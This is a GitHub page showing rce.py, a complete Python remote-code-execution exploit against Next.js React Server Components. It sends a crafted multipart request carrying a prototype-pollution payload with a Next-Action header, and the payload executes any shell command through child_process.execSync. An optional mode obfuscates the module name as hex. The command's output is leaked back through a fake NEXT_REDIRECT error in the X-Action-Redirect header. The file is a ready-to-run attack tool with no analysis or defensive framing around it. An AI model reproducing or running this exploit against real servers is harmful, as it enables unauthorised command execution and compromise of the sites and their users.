-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrce.py
More file actions
97 lines (78 loc) · 3.45 KB
/
Copy pathrce.py
File metadata and controls
97 lines (78 loc) · 3.45 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import requests
import argparse
import hashlib
import time
import re
from urllib.parse import unquote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# ignore ssl warnings
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class Exploit:
def __init__(self, target):
self.target = target if target.startswith('http') else f"https://{target}"
self.session = requests.Session()
self.session.verify = False
def build_payload(self, cmd, mode):
# boundary needs to be unique
bound = f"----RSC_{hashlib.md5(str(time.time()).encode()).hexdigest()[:10]}"
# fix slashes and quotes for js
cmd = cmd.replace('\\', '\\\\').replace("'", "\\'").replace('\n', '')
# basic obfuscation for child_process string
if mode == 'obfuscated':
cp = "6368696c645f70726f63657373" # hex for child_process
js = f"var res=process.mainModule.require(Buffer.from('{cp}','hex').toString()).execSync('{cmd}').toString().trim();"
else:
js = f"var res=process.mainModule.require('child_process').execSync('{cmd}').toString().trim();"
# we send an error to leak the result in the redirect header
leak = f"{js};throw Object.assign(new Error('NEXT_REDIRECT'),{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;` bits:1}});"
# this is the specific rsc json structure for the prototype pollution
rsc_data = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": leak,
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
# manual multipart build to ensure it matches the rsc expected format
body = (
f"--{bound}\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n"
f"{str(rsc_data).replace(\"'\", '\"')}\r\n"
f"--{bound}\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n"
f"--{bound}\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n"
f"--{bound}--\r\n"
)
return body, bound
def fire(self, cmd, mode):
body, bound = self.build_payload(cmd, mode)
# next-action header is the trigger
headers = {
'Next-Action': 'x',
'Content-Type': f'multipart/form-data; boundary={bound}',
'User-Agent': 'Mozilla/5.0'
}
try:
r = self.session.post(self.target, data=body, headers=headers, timeout=15, allow_redirects=False)
# look for the leaked output in X-Action-Redirect
redir = r.headers.get('X-Action-Redirect', '')
out = re.search(r'/login\?a=([^;]*)', redir)
if out:
return unquote(out.group(1))
return None
except Exception as e:
return f"fail: {str(e)}"
if __name__ == "__main__":
p = argparse.ArgumentParser()
p.add_argument("-t", "--target", required=True)
p.add_argument("-c", "--command", default="id")
p.add_argument("-s", "--strategy", default='standard')
args = p.parse_args()
x = Exploit(args.target)
res = x.fire(args.command, args.strategy)
if res:
print(f"success:\n{res}")
else:
print("failed or not vulnerable")